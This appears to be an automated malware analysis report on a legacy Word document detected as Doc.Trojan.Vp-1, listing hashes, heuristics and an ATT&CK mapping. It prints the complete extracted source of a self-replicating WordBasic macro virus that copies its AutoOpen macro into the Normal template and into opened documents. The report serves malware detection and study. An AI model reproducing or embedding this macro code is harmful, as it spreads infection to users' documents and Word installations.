Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 db3c61bec04e6f78…

MALICIOUS

Office (OLE)

33.5 KB Created: 1999-10-14 14:41:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 055e5c6f407ddf3a28b4a115c5ae1da1 SHA-1: ea0601e2d1e8a69146f17445ec8a880169d293a7 SHA-256: db3c61bec04e6f781308f37d29d55730cac0849d88dea7950eb0cb259cb01889
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing a WordBasic macro. The 'AutoOpen' macro is designed to copy itself to the 'Normal' template, which is a common technique for establishing persistence or ensuring the macro is available in all new documents. The ClamAV detection further confirms its malicious nature. No network indicators or further stages were observed.

Heuristics 4

  • ClamAV: Doc.Trojan.Vp-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Vp-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1394 bytes
SHA-256: 2d19b78614833c4448b25295b9ff8e1134bde0ebf9935ee61bed2af5898cf9c0
Detection
ClamAV: Doc.Trojan.Vp-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
                ' ÒåñhnoVèðós(tm) fîr MiñrîSîft Wîrd 6.Î-7.Î '
                ' (ñ) 1997-98 ÒåchnîSîft frîm Òîmsk          '
    CheckInWindow
    CheckNormal

End Sub

Private Function vpInNormal()
Dim i

    vpInNormal = 0

    For i = 1 To WordBasic.CountMacros(0)
        If WordBasic.[MacroName$](i, 0) = "AutoOpen" Then vpInNormal = -1
    Next

End Function

Private Sub CheckNormal()

    If Not vpInNormal Then WordBasic.MacroCopy WordBasic.[MacroFileName$]("AutoOpen") + ":AutoOpen", "Normal:AutoOpen"

End Sub

Private Function vpInWindow()
Dim i

    vpInWindow = 0

    For i = 1 To WordBasic.CountMacros(1)
        If WordBasic.[MacroName$](i, 1) = "AutoOpen" Then vpInWindow = -1
    Next

End Function

Private Sub CheckInWindow()

    If Not vpInWindow Then: WordBasic.MacroCopy WordBasic.[MacroFileName$]("AutoOpen") + ":AutoOpen", WordBasic.[FileNameFromWindow$]() + ":AutoOpen": WordBasic.FileSaveAs name:=WordBasic.[FileNameFromWindow$](), Format:=1

End Sub

'   ÌàñrîÒåñhnî ?!